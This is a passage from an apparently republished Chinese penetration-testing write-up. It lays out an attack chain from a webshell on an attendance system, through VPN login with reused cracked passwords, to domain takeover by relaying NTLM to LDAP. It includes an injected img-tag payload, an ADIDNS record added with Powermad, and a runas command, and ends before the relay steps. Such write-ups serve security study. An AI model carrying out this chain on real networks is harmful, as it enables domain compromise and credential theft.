[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链

拿到目标后对目标进行资产收集和常规渗透,目标体积较大,有数个 VPN 接入口,有自己独立的邮件服务器,根据邮服泄露的信息,内网存在域。目标安全性较好,没有历史漏洞可以直接获取到目标相关资产的权限。

经过多天打点后,终于找到目标线上的一个自研系统存在漏洞,通过一系列操作获取到该目标的网站的 webshell,环境为 linux ,外网云上环境。权限为 www-data。

该点为目标的打卡和周报系统,分析日志可以发现有一部分用户是目标总部过来的,一部分用户是各地IP播过来的,可能是因为疫情原因吧,有些员工在家远程办公。收集数据库中所有的用户名已经可以解密的密码,尝试去登录 VPN,运气不错,共拿到两组 VPN 账号,成功拨入内网。根据 VPN
的下发路由和网段探测慢慢摸到了目标内网中一台域控的位置,VPN 用的是域账号进行认证,所以我们可以直接链接 LDAP 去查询域内信息。

获取的两组账号均为边缘客服人员,目标域内有多个域控,所有的机器版本也比较新,个人机器均为 WIN10,服务器也是 2016 、2019 这样较新的版本,OU 划的也比较仔细,拉出来看了看组策略的数量和部分配置,可以看出管理员还是很会玩的。

没有直接可以利用的点,这两组账号的邮箱内的邮件也没有敏感的信息。继续翻找,OU 中 MIS(网络管理员)组的成员均为域管,有部分机器是用户自行拉入域的。

整理一下我们手上的东西:一个外网的打卡系统两组客服域账号一个VPN接入点

到此我们已经具备了拿下域控的所有条件了,看到这里,各位可以停下里想一想如果是你,你该怎么进行攻击。

0x02 原理与构造

ntlm relay is dead long live ntlm relay

我们可以在打卡系统中插入我们的链接,例如 <img src="http://192.168.1.1/img.png" />。有用户来访问打卡系统的时候就会来对我们的网站进行请求,此时我们返回 401,则用户浏览器会默认对我们进行 NTLM 认证,因为来源是 HTTP ,我们可以将 HTTP 中继到 LDAP,来完成攻击连,也就是说,域管理员用户一旦访问打卡系统,我们就可以直接接管域控。

但是,默认情况下浏览器不会向外网发送凭证信息,你需要向域内添加一条DNS记录指向你用于中继的VPS,而默认情况下,任何认证用户(Authenticated Users),都用 Create all child object 的权限。换句话说,任何一个域用户默认情况下都可以添加 DNS 到 ADIDNS 区域。

[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链

到此我们的攻击路线就清晰了:

用域用户向域中添加一条 DNS 记录 unicodesec 指向公网 vps

在公网的打开系统首页 添加 <img src="http://unicodesec/img.png" />

在 公网 vps 上挂好 VPN 做好中继回域控的线路

等待用户来进行访问,当域管用户来访问时,则我们可以通过修改DACL,赋予 DCSYNC 权限 等方式接管整个域的权限

0x03 攻击

环境说明

为了避免不必要的麻烦,演示过程由测试环境代替

IP HOSTNAME NOTE
192.168.136.138   DC   域控,Winodws2016  
192.168.136.140   WIN域机器   WIN10,域管理员登录机器  
1.1.1.1   外网云上环境   外网的打卡系统-ubuntu18.04  
2.2.2.2   公网VPS   攻击者机器  
USERNAME NOTE
Administrator   域管理员  
win10   普通域用户,现有特权  

添加 认证图片

首先用我们拿到的 webshell 向系统首页添加以下代码,这里我们就用随便起一个 http 服务器演示。

<img src="http://unicodesec/1.png" />

[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链

添加 DNS 记录

这里我们直接使用 Powermad 在域外向域中添加一条指向恶意服务器的 A 记录

使用VPN登录到内网中(客服域账号),全程是在域外操作的也就是本地也就是我们根本不需要域机器,这里我们用 frp 代理模拟拨入VPN

使用runas进行模拟Token

runas /netonly /user:shell\admin123 powershell

[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzxfjz.html